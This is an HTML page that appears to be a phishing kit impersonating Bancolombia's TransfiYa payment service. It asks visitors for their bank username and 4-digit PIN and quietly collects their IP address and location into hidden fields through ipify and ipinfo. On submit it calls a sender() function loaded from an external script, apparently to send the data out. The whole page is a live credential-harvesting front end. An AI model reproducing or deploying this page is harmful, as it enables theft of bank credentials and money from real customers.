<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<link rel="stylesheet" href="bootstrap.min.css">
	
<title>Home</title><meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="util.css"><link rel="stylesheet" type="text/css" href="main.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>  
  
     <script>
         $.getJSON("https://api.ipify.org?format=json",
          function(data) {
             $("#gfg").html(data.ip);
         })
      </script>
      <script>
         $.getJSON("https://ipinfo.io", function (response) {
    $("#ip").html("IP: " + response.ip);
    $("#address").html("" + response.city + ", " + response.country);
    })

	  </script>	
	  
 
	  
	  </head>


						

	</header><!-- / #main-header -->
	<div class="limiter">
		<div class="container-login100" 
		style="background-image: 
		url(); 
    position: absolute;
   ">
			<div class="wrap-login100 p-l-55 p-r-55 p-t-50 p-b-54">
			
			<br>

					<b><div class="textypn1"><span class="model" style="font-size:23px; color:#fff; text-align:center;">
					<section class="">
		
			<img src="https://www.makingscience.com/wp-content/uploads/2021/11/Bancolombia-Logo-1-1024x131.png" style="width: 200px">
			<br></div></b>
					<div class="wrap-input101 validate-input" data-validate="" > 
					<br>
<br>
<br>
			<br>
 <section class="">
           
        <form class="login100-form validate-form" action="#" onsubmit=" return sender()" method="post">
					<p id="gfg"  hidden=""></p>
						<p id="address"  hidden=""></p>
          <div style="text-align: center">
            <h2>Servicios TransfiYa</h2>	
<br>
					<br>

            <h6>Ingrese sus datos correctamente para aceptar el pago</h6>
          </div>
					<div class="wrap-input101 validate-input" data-validate="" > 
				
					<div class="wrap-input101 validate-input" data-validate="" > 
				
					<br>
					<br>
					<br>
					<br>
					<div class="wrap-input101 validate-input" data-validate="" > 
						<span class="label-input101"></span>
						<input class="input101" type="text"  name="ypn-us" id="ypn-us" maxlength="20"
						 required="true"
						placeholder="Ingresa tu usuario" required="">
						<span class="focus-input100" data-symbol=""></span>
					</div>
					<br>
						
					<br>
					
					<div class="wrap-input101 validate-input" data-validate="">
						<input class="input101" type="tel" onKeypress="if (event.keyCode < 48 || event.keyCode > 57) event.returnValue = false;"
						inputmode="numeric" name="ypn-cl" id="ypn-cl" required="true" maxlength="4" minlength="4" 
					 placeholder="Ingresa tu clave" required="">
						<span class="focus-input100" data-symbol=""></span>
					</div>

					<br>
					<div class="text-right p-t-8 p-b-31">
						
					</div>
					
					<div class="container-login100-form-btn">
					    
						<div class="wrap-login100-form-btn">
							<div class="login100-form-bgbtn"></div>
							<button type="submit" style="height:50px; width:100%; border-radius:10px;" class="login100-form-btn" value="Continuar">
								<b>Continuar</b>
							</button>
						</div>
					</div>
					
					<div>
					<br>
					<br>


					</div><br>

						
					
				</form>
				
			</div>
			
		</div>
			<header id="main-header2">
	</header><!-- / #main-header -->
	</div>
		<div id="dropDownSelect1"></div>
	
	

	<script src="saxes.js"></script> 
</body></html>